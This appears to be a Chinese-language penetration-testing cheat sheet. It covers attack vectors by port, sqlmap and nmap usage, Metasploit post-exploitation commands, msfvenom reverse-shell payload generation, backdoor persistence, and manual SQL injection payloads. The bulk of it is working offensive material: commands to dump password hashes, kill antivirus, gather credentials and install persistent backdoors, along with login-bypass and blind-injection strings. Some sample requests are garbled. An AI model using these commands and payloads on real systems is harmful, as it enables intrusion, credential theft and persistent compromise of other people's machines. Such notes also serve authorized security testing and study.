Contents

安全备忘录

安全备忘

信息收集

端口

文件共享服务端口

端口号 说明 攻击反向
21/22/69 FTP/Tftp 允许匿名的上传、下载、爆破和嗅探操作
2049 Nfs服务 配置不当
139 Samba服务 爆破、未授权、远程代码执行
389 Ldap目录访问协议 注入、允许匿名访问、弱口令

远程连接服务端口

端口号 说明 攻击反向
22 ssh远程连接 爆破、ssh隧道及内网代理转发、文件传输
23 Telnet远程连接 爆破、嗅探、弱口令
3389 RDP远程桌面连接 Shift后门(适用于win server 2003以下)、爆破
5900 VNC 弱口令爆破
5632 PyAnywhere服务 抓密码、代码执行

Web应用服务端口

端口号 说明 攻击反向
80/443/8080 常见Web服务端口 Web攻击、爆破、对应服务器版本的漏洞
7001/7002 WebLogic控制台 Java反序列化、弱口令
8080/8089 Jboss/Resin/Jetty/Jenkins 反序列化、控制台弱口令
9090 WebSphere Java反序列化、弱口令
4848 GlassFish控制台 弱口令
1352 Lotus domino邮件服务 弱口令、信息泄露、爆破
10000 Webmin-Web控制面板 弱口令

数据库服务端口

端口号 说明 攻击反向
3306 mysql 注入、提权、爆破
1433 MSSQL 注入、提权、SA弱口令、爆破
1521 Oracle TNS爆破、注入、反弹shell
5432 PostgreSQL 爆破、注入、弱口令
27017/27018 MongoDB 爆破、未授权访问
6379 Redis 可尝试未授权访问、弱口令爆破
5000 SysBase/DB2 爆破、注入

邮件服务端口

端口号 说明 攻击反向
25 SMTP邮件服务 邮件伪造
110 POP3协议 爆破、嗅探
143 IMAP协议 爆破

网络常见协议端口

端口号 说明 攻击反向
53 DNS域名系统 允许区域传送、DNS借此、缓存偷渡、欺骗
67/68 DHCP服务 劫持、欺骗
161 SNMP协议 爆破、搜集目标内网信息

特殊服务端口

端口号 说明 攻击反向
2181 Zookeeper 未授权访问
8069 Zabbix 远程执行、SQL注入
9200/9300 Elasticsearch 远程执行
11211 Memcache 未授权访问
512/513/514 Linux Rexec 爆破、Rlogin登录
873 Rsync 匿名访问、文件上传
3690 Svn服务 Svn泄露、未授权访问
50000 SAP Management Console 远程执行

工具使用

sqlmap

部分示例sqlmap命令

命令 作用 示例
-u 指定url sqlmap -u test.com
-r 指定文件(常用于Burp抓包后保存的文件) sqlmap -r request.txt
-timeout 设置超时时间,以秒为单位 –timeout 20
–dbs 查询所有数据库 sqlmap -u test.com(-r …) –dbs
–current-db 获取当前数据库 sqlmap -u test.com(-r …) –current-db
–current-user 获取当前用户 sqlmap -u test.com –current-user
-D 指定数据库 sqlmap -u test.com -D testdb
–tables 查询所有表 sqlmap -u test.com -D test –tables
-T 指定表 sqlmap -u test.com -D testdb -T testtable
–columns 查询所有字段 sqlmap -u test.com -D testdb -T testtable –columns
-C 指定字段 sqlmap -u test.com -D testdb -T testtable-C testcol1,testcol2…
–dump 查询所有值 sqlmap -u test.com -D testdb -T testtable-C testcol1 –dump
–users 获取所有用户 sqlmap -u test.com –users
–passwords 获取密码 sqlmap -u test.com –passwords
–level 指定等级1-5,力度从小到大,速度反之,可不加,默认为1 sqlmap -u test.com –level 5
–risk 指定风险等级1-3,默认风险等级为1,此等级在大多数情况下对测试目标无害; 风险等级2添加了基于时间的注入测试;等级3添加了OR测试 sqlmap -u test.com –risk 2
–is-dba 检测当前账户是否为管理员 sqlmap -u test.com –is-dba
–roles 查询数据库用户的角色,用于Oracle sqlmap -u test.com –roles
–referer 用于伪造referer(lever > 2时才会尝试referer伪造进行注入 ) sqlmap -u test.com –referer test2.com
–sql-shell 进入sql shell界面,可执行sql语句 sqlmap -u test.com –sql-shell
–os-shell/–os-cmd 尝试夺权进入shell/cmd,执行命令 sqlmap -u test.com –os-shell/–os-cmd
–file-read 读取目标服务器文件 sqlmap -u test.com –file-read “C:\test.exe"
–file-write –file-dest 对服务器写入文件 sqlmap -u test.com –file-write “./test.exe”(本地) –file-dest “C:\test.exe”(目标)
-v 显示信息详细程度(0-6) sqlmap -u test.com -v 1
–safe-url 缓慢访问,以防止过快导致封禁 sqlmap –safe-url=test.com
–delay 设置请求延迟,以秒为单位 sqlmap -u test.com –delay 10
–tamper 调用脚本 sqlmap -u test.com –tamper test.py
-m 批量测试,指定含有多个链接的文件,每行一个 sqlmap -m “url.txt”

一些无需示例的sqlmap命令参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
--skip-urlencode 不进行url编码
 
--keep-alive 设置持久连接,加快探测速度
 
--null-connection 检索没有body响应的内容,多用于盲注
 
--thread 最大为10 设置多线程
 
--identify-waf 检测防火墙类型

-o 开启性能优化,优化的分别为--keep-alive,--null-connection,--thread

--smart 启发式快速判断,节约浪费时间

--batch	选项全选yes

--proxy	代理

--cookie 指定cookie

--technique  	选择注入类型 B 布尔注入,E报错注入,U联合注入 T时间盲注 S 使用sqlmap的配置,如果是布尔盲注应选择U而并非B
sqlmap的-v详解
等级 解释
0 只显示python错误以及严重信息
1 同时显示基本信息和警告信息
2 同时显示debug信息
3 同时显示注入的pyload
4 同时显示HTTP请求
5 同时显示HTTP相应头
6 同时显示HTTP相应页面
sqlmap的–tamper内置部分模块
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
apostrophemask.py       UTF-8全角字符替换单引号字符
apostrophenullencode.py    用非法双字节unicode字符替换单引号字符
appendnullbyte.py       payload末尾添加空字符编码
base64encode.py        对给定的payload全部字符使用Base64编码
between.py           分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py          SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=
chardoubleencode.py      对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py         对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py      对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py      用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py        用“LIKE”运算符替换全部等于号“=
greatest.py          用“GREATEST”函数替换大于号“>
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py      用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py         用小写值替换每个关键字字符
modsecurityversioned.py    用注释包围完整的查询
modsecurityzeroversioned.py  用当中带有数字零的注释包围完整的查询
multiplespaces.py       SQL关键字周围添加多个空格
nonrecursivereplacement.py  representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py        转换给定的payload当中的所有字符
percentage.py         在每个字符之前添加一个百分号
randomcase.py         随机转换每个关键字字符的大小写
randomcomments.py       SQL关键字中插入随机注释
securesphere.py        添加经过特殊构造的字符串
sp_password.py        payload末尾添加sp_password ``for` `automatic obfuscation ``from` `DBMS logs
space2comment.py       用“``/**/``”替换空格符
space2dash.py         用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py         用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py       用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py      用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py      用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py      用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py         用加号“+”替换空格符
space2randomblank.py     用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py      用“UNION SELECT”替换“UNION ALL SELECT
unmagicquotes.py       用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py          添加一个HTTP头X-originating-IP”来绕过WAF
versionedkeywords.py     MySQL注释包围每个非函数关键字
versionedmorekeywords.py   MySQL注释包围每个关键字
xforwardedfor.py       添加一个伪造的HTTP头X-Forwarded-For”来绕过WAF
sqlmap的-r指定文件详解

测试用的test.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /sqltest/05hp HTTP/1
Host:10clhost
Proxy—Connection:keep—alive
Content—Length:15
Cache—ControI:max—age=0
Accept:text/html,application/xhtml+xml,application/xml;=0.9,
Origin:http://localhost
Upgrade一Insecure—Requests:1
User—Agent:HO211la/5·0
Content—Type:application/x—vvv—form—urlencoded
Referer:http://localhost/sqltest/post.php
Accept—Encoding:gzil)'deflate
Accept—Language:zh—CN,zh;q=0·8

test=sssss&passwd=assdsa
1
sqlmap -r request.txt -p(指定参数) test

可以对需要测试的地方加上*号,从而不使用-p参数,并指定level为对应等级,如referer测试必须为3及以上才生效

如下为改版后的txt文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /sqltest/05hp HTTP/1
Host:10clhost
Proxy—Connection:keep—alive
Content—Length:15
Cache—ControI:max—age=0
Accept:text/html,application/xhtml+xml,application/xml;=0.9,
Origin:http://localhost
Upgrade一Insecure—Requests:1
User—Agent:HO211la/5·0
Content—Type:application/x—vvv—form—urlencoded
Referer:http://localhost/sqltest/post.php*(对referer进行测试)
Accept—Encoding:gzil)'deflate
Accept—Language:zh—CN,zh;q=0·8

test=sssss&passwd=assdsa*(对passwd进行测试)

sqlmap详细指南链接

上面并不完整,详细信息可见sqlmap中文wiki

Nmap

nmap可不带命令直接使用,可单个、多个、范围、网段

1
2
3
4
nmap 192.168.0.1
nmap 192.168.0.1 192.168.0.2 ...
nmap 192.168.0.1-192.168.0.100
nmap 192.168.0.1/24

nmap部分示例命令

命令 作用 示例
-iL 指定某个文件里的ip nmap -iL ip.txt
-exclude 排除某个ip nmap 192.168.0.1/24 -exclude 192.168.0.22
-excludefile 排除文件中的ip nmap 192.168.0.1/24 -excludefile a.txt
-p 指定端口号 nmap 192.168.0.1/24 -p 22,23,80,443
–traceroute 路由追踪 nmap –traceroute 192.168.0.11
-O 操作系统检测,包含于-A当中 nmap 192.168.0.1 -O
-A

一些追加nmap参数

-n (不用域名解析)

告诉Nmap 永不对它发现的活动IP地址进行反向域名解析。 既然DNS一般比较慢,这可以让事情更快些。


-R (为所有目标解析域名)

告诉Nmap 永远 对目标IP地址作反向域名解析。 一般只有当发现机器正在运行时才进行这项操作。


--system-dns (使用系统域名解析器)

默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器 来解析域名。


-F (快速 (有限的端口) 扫描)

在nmap的nmap-services 文件中(对于-sO,是协议文件)指定您想要扫描的端口。 这比扫描所有65535个端口快得多。 因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描 scan (大约1600个端口)速度差别不是很大。如果您用--datadir选项指定您自己的 小小的nmap-services文件 ,差别会很惊人。


-r (不要按随机顺序扫描端口)

默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的, 但您也可以指定-r来顺序端口扫描。


-S <IP_Address> (源地址哄骗)

在某些情况下,Nmap可能无法确定你的源地址(如果这样,Nmap会给出 提示)。此时,使用-S选项并说明所需发送包的接口IP地址。

nmap的-s系列详解

-sL (列表扫描)

列表扫描是主机发现的退化形式,它仅仅列出指定网络上的每台主机, 不发送任何报文到目标主机。


-sP (Ping扫描)

该选项告诉Nmap仅仅 进行ping扫描 (主机发现),然后打印出对扫描做出响应的那些主机。 没有进一步的测试 (如端口扫描或者操作系统探测)。 这比列表扫描更积极,常常用于 和列表扫描相同的目的。


-sS (TCP SYN扫描)

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口


-sT (TCP connect()扫描)

当SYN扫描不能用时,CP Connect()扫描就是默认的TCP扫描。 当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。 而不是像大多数其他扫描类型那样写入原始数据包,Nmap通过创建connect() 系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。 这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的 高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。


-sU (UDP扫描)

虽然互联网上很多流行的服务运行在TCP 协议上,UDP服务也不少。 DNS,SNMP,和DHCP (注册的端口是53,161/162,和67/68)是最常见的三个。 因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。 这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。它可以和TCP扫描如 SYN扫描 (-sS)结合使用来同时检查两种协议。


-sV (版本探测)

打开版本探测。 您也可以用-A同时打开操作系统探测和版本探测。


-sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)

Null扫描 (-sN),不设置任何标志位(tcp标志头是0)

FIN扫描 (-sF),只设置TCP FIN标志位。

Xmas扫描 (-sX),设置FIN,PSH,和URG标志位,就像点亮圣诞树上所有的灯一样。


-sA (TCP ACK扫描)

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。


-sO (IP协议扫描)

IP 协议扫描可以让您确定目标机支持哪些IP协议 (TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描 ,既然它遍历的是IP协议号而不是TCP或者UDP端口号。


-sW (TCP窗口扫描)

除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered, 窗口扫描和ACK扫描完全一样。 它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed

该扫描依赖于互联网上少数系统的实现细节, 因此您不能永远相信它。不支持它的系统会通常返回所有端口closed。 当然,一台机器没有开放端口也是有可能的。 如果大部分被扫描的端口是 closed,而一些常见的端口 (如 22, 25,53) 是 filtered,该系统就非常可疑了。 偶尔地,系统甚至会显示恰恰相反的行为。 如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口, 那么那3个很可能也是开放的端口。


--scanflags (定制的TCP扫描)

真正的Nmap高级用户不需要被这些现成的扫描类型束缚。 --scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。 让您的创造力流动,躲开那些仅靠本手册添加规则的入侵检测系统!

--scanflags选项可以是一个数字标记值如9 (PSH和FIN), 但使用字符名更容易些。 只要是URGACKPSHRSTSYN,and FIN的任何组合就行。例如,--scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。 标志位的顺序不重要。


-sI <zombie host[:probeport]> (Idlescan)

这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描 (意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击 利用僵尸主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。 IDS系统将显示扫描来自您指定的僵尸主机(必须运行并且符合一定的标准)。

nmap的-P详解

-PS [portlist] (TCP SYN Ping)

该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h) 文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。 甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000), 在这种情况下,每个端口会被并发地扫描。


-PA [portlist] (TCP ACK Ping)

TCP ACK ping和刚才讨论的SYN ping相当类似。 也许您已经猜到了,区别就是设置TCP的ACK标志位而不是SYN标志位。


-PU [portlist] (UDP Ping)

还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了--data-length UDP报文到给定的端口。


-PR (ARP Ping)

最常见的Nmap使用场景之一是扫描一个以太局域网。 在大部分局域网上,特别是那些使用基于 RFC1918私有地址范围的网络,在一个给定的时间绝大部分 IP地址都是不使用的。 当Nmap试图发送一个原始IP报文如ICMP回声请求时, 操作系统必须确定对应于目标IP的硬件 地址(ARP),这样它才能把以太帧送往正确的地址。 这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内 对没有运行的机器作几百万次的ARP请求。


自带nmap脚本使用

  • auth: 负责处理鉴权证书(绕过鉴权)的脚本

  • broadcast: 在局域网内探查更多服务的开启情况,如DHCP DNS SQLServer 等。

  • brute: 针对常见的应用提供暴力破解方式,如HTTP/SMTP等。

  • default: 使用 sC 选项扫描时默认的脚本,提供基本的脚本扫描能力。

  • discovery: 对网络进行更多信息的搜集,如SMB 举、 SNMP查询等。

  • dos: 用于进行拒绝服务攻击

  • exploit: 利用己知的漏洞入侵系统

  • external: 利用第三方的数据库或资源 例如,进行Whois解析。

  • fuzzer: 模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。

  • intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS IPS 的记录或屏蔽。

  • malware 探测目标机是否感染了病毒 开启后 等信息。

  • safe: 此类与Intrusive相反,属于安全性脚本

  • version: 负责增强服务与版本扫描功能的脚本

  • vuln: 负责检查目标机是否有常见漏洞,如MS08-067

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
nmap --script=default 使用默认脚本进行扫描

--script-args=key1=value1,key2=value2...用于传递参数给脚本

--script-args-file=filename 使用文件给脚本提供参数

--scrip-trace 如果设置该参数,则显示脚本执行过程 发送与接收的数据

--script-updatedb 在Nmap的script目录里有一个script.db文件,该文件保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启Nmap并调用了此参数,则Nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新。

--script-help 调用该参数后会输出该脚本对应的脚本使用参数,以及详细信息

示例:

1
2
3
nmap --script=auth 192.168.0.11 对目标主机进行弱口令检测

nmap --script=brute 192.168.0.11 对目标主机进行数据库、SMB、SNMP等进行简单密码的暴力猜解

nmap结果的端口状态

Nmap扫出的端口总共存在6种状态

open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。发现这一点常常是端口扫描 的主要目标。安全意识强的人们知道每个开放的端口 都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。 而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。 非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。 它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up 也对部分操作系统探测有所帮助。 因为关闭的关口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。 系统管理员可能会考虑用防火墙封锁这样的端口。 那样他们就会被显示为被过滤的状态,下面讨论。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供 任何信息。有时候它们响应ICMP错误消息如类型3代码13 (无法到达目标: 通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧, 不做任何响应。 这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。 这使得扫描速度明显变慢。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。 只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。 用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

nmap详细指南链接

上面的并不算很详细,部分为摘抄的,详细请见nmap官方中文文档

Metasploit、MSF

meterpreter

getshell后常规命令
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
screenshot
sysinfo
route
ps
getsid
getpid
getuid
getsystem
background
download
upload
hashdump	#导出目标计算机的sam数据库中的Hash
shell
idletime #查看电脑运行时间
chcp65001	#乱码切换
migrate	#进程迁移,eg:migrate 227
进一步渗透
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
run post/windows/manage/killav
#杀死关闭杀毒软件

run post/windows/manage/migrate
#进程自动迁移

run post/windows/gather/checkvm
#检测是否在虚拟机中

run post/windows/manage/enable_rdp
#开启Windows的rdp服务

run post/windows/manage/autoroute
#查看本地子网路由

route add 192.168.1.0 255.255.255.0 1
#添加路由的信息取决于本地路由,其中1为background后的session ID

run post/windows/gather/enum_logged_on_users
#查看有哪些用户登录了目标机器

run post/windows/gather/enum_application
#列举安装在目标机上的应用程序

run windows/gather/credentials/windows_autologin
#获取自动登录的密码

run windows/gather/smart_hashdump
#优于hashdump,适用于未开启UAC
开启监听
1
2
3
4
5
msf6 > use exploit/multi/handle 
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.11
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > exploit

msfvenom

1
2
3
4
5
6
7
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。
-l, --list[module_type] 列出指定模块的所有可用资源. 模块类型包括payloads/encoders,nops,all
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder]   指定需要使用的encoder(编码器)
-a, --arch  <architecture>  指定payload的目标架构
--platform   <platform>  指定payload的目标平台
-x, --template   <path> 指定一个自定义的可执行文件作为模板
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.0.11 LPORT=8888 -f exe -o farmsec.exe

#-e x86/shikata_ga_nai -i 5  使用 x86/shikata_ga_nai 编码5次

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f elf > shell64.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f exe > shell64.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=$ip LPORT=80 -f raw >shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ip LPORT=4444 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ip LPORT=4444 -f war > shell.war
msfvenom -p cmd/unix/reverse_bash LHOST=$ip LPORT=4444 -f raw > shell.sh
msfvenom -p android/meterpreter/reverse_tcp LHOST=$ip LPORT=4444 R > shell.apk

后渗透、后门

操作系统后门
Cymothoa后门
1
2
cymothoa -p 756 -s 1 -y 8888
#系统环境下,非meterpreter下。-p指定pid,可用ps -aux/tasklist;-s指定shellcode编号,可使用cymothoa -s查看列表;-y指定payload的端口

成功后

1
2
nc -nvv 192.168.0.11 8888
#连接目标主机后门
Persistence后门

会在目标机器上创建文件,容易触发杀毒软件,需提前关闭

1
2
3
4
5
6
7
8
9
run persistence -A -S -U -i 60 -p 8888 -r 192.168.0.11 
#A:自动启动 Payload 程序
#s:系统启动时自动加载 。
#U:用户登录时自动启动 。
#X:开机时自动加载 。
#i:回连的时间间隔 。
#P:监听反向连接端口号 。
#r:目标机器 IP 地址 。
#成功后使用sessions查看建立的连接

漏洞部分

SQL注入手工

有回显注入/普通注入

sql注入符号
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#
-- 
--+
/*
-- -
;%00
`
/!* */内联注释
%20 url编码,原文为空格
%27 url编码,原文为单引号
获取信息参数
1
2
3
4
5
6
@@global.version_compile_os 获取当前系统
database()  获取当前数据库名	
user()	获取当前用户名
version()	获取当前mysql版本号
system_user()	系统用户名

一些常见的万能密码形式
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
'or'='or'
admin'-- 
admin' or 4=4-- 
admin' or '1'='1'-- 
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1-- 
admin' or '2'='2
')or('a'='a
or 4=4--
全流程语句
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 -1'

 1' and 1=1

 1' order by 3

 -1' union select 1,2,3 
#可使用/!* */内联注释 -1' /*!union*/ /!*select*/ 1,2,3

 -1' union select version(),database(),user() 

#mysql低于5.0则下面的就无用
 -1' union select 1,table_name,3 from information_schema.tables where table_schema='sql'#

 -1' union select 1,column_name,3 from information_schema.columns where table_schema=’sql' and table_name='tabletest'#

id=-1 union select 1,clotest,clotest2 from sql.tabletest#

布尔注入

一个建议,直接sqlmap或者自己写py脚本,别闲着蛋疼真手测

流程语句
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
1' and length(user())>5#
#正常则加,不正常则改为=进行确定长度

1' and substring(user(),1,1)='a'#
#对第一个字母进行猜测

1' and ascii(substring(user(),1,1))=105#
#可以用ASCII码

id=1’ and substring(user(),2,1)>'a'#
#对第二个字母进行猜测

1' and (select count(schema_name) from information_schema.schemata) =6 #
#查询有几个库

1' and length((select schema_name from information_schema.schemata limit 0,1))=8 #
# limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 3,3代表截取从第四行到第六行。

1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
#使用ASCII码

1' and (select count(table_name) from information_schema.tables where table_schema='sql')=2 #
#查询有几个表

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15 #
#查询表名长度

1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a' # 
#进行系列猜测表名

1' and (select count(column_name) from information_schema.columns where table_schema='sql' and table_name='users')=8 #
#查询字段数量

1' and length((select column_name from information_schema.columns where table_schema= 'sql' and table_name= 'users' limit 0,1))=7#
#查询首个字段的长度

1' and (substr((select column_name from information_schema.columns where table_schema= 'sql' and table_name= 'users' limit 4,1),1,1))='a'#
#查询第4张表的第一个字段的名字

1' and (select count(*) from dvwa.users)=5#
#数据盲注,先对结果数量判断

1' and length(substr((select user from users limit 0,1),1))=5#
#对数据长度判断

1' and substr((select user from users limit 0,1),1,1)='a' # 
#对数据进行判断

总而言之,能sqlmap跑就别手工,不作不死

时间盲注

也别手工,除非你真的很闲

1
2
1' and if(length(database())>1,sleep(5),1)
#把盲注的语句套入即可,不多说了

报错注入

1
2
' or updatexml(0,concat(0x7e,database()),0),",")#
#0x7e解析为~,更加方便识别

数据库指纹识别

根据报错可以进行判断数据库类型

MySql:

1
You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1

Oracle:

1
ORA-00933: SQL command not properly ended

MS SQL Server:

1
Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string

PostgreSQL:

1
Query failed: ERROR: syntax error at or near

不同数据库注入语句

mysql数据库
释义 SQL语句 其他
当前数据库 SELECT database() -
所有数据库 SELECT schema_name FROM information_schema.schemata #版本>5.0
- SELECT distinct(db) FROM mysql.db #管理员权限才可以执行
查询表名 SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
查询列名 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
获取版本 SELECT @@version -
当前用户 SELECT user() -
- SELECT system_user() -
用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges #用户权限
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges #数据库权限
- SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges #字段的权限
列出DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ -
选择第N行 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 #行从0开始编号
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 #行从0开始编号
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT CONCAT(‘A’,‘B’) #返回AB
- SELECT CONCAT(‘A’,‘B’,‘C’) #返回ABC
时间睡眠 SELECT BENCHMARK(1000000,MD5(‘A’)) -
- SELECT SLEEP(5) #版本>= 5.0.12
Oracle数据库
释义 SQL语句 其他
当前数据库 SELECT global_name FROM global_name
- SELECT name FROM v$database
- SELECT instance_name FROM v$instance
- SELECT SYS.DATABASE_NAME FROM DUAL
所有数据库 SELECT DISTINCT owner FROM all_tables
查询表名 SELECT table_name FROM all_tables
- SELECT owner, table_name FROM all_tables
查询列名 SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’
获取版本 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
- SELECT version FROM v$instance
当前用户 SELECT user FROM dual
用户权限 SELECT * FROM session_privs #当前权限
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ #列出用户的权限
